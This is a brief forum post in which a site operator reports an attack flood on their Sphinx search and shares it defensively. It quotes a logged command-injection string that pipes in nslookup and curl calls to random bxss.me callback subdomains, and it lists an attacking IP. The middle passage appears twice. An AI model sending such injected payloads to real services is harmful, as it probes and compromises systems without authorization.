Yesterday we got some IPs attacking our search (sphinx) Looking this morning at the error log, I could see they this started with somebody trying to download the search index to hitjtvomllwwq501c5.bxss.me
This is the error I found main: syntax error, unexpected '|' near '|(nslookup -q\=cname hitrtzlewiuyzb3475.bxss.me||curl hitrtzlewiuyzb3475.bxss.me)
The subdomain was random and they tried with several of them. Many from 68.235.43.157 But also from some others. Hundreds of search request per minutes until they shut sphinx down.
The IPs have now been blocked, but just in case it helps someone.
This is the error I found main: syntax error, unexpected '|' near '|(nslookup -q\=cname hitrtzlewiuyzb3475.bxss.me||curl hitrtzlewiuyzb3475.bxss.me)
The subdomain was random and they tried with several of them. Many from 68.235.43.157 But also from some others. Hundreds of search request per minutes until they shut sphinx down.
The IPs have now been blocked, but just in case it helps someone.
Statistics: Posted by lochness — Wed May 15, 2024 8:40 am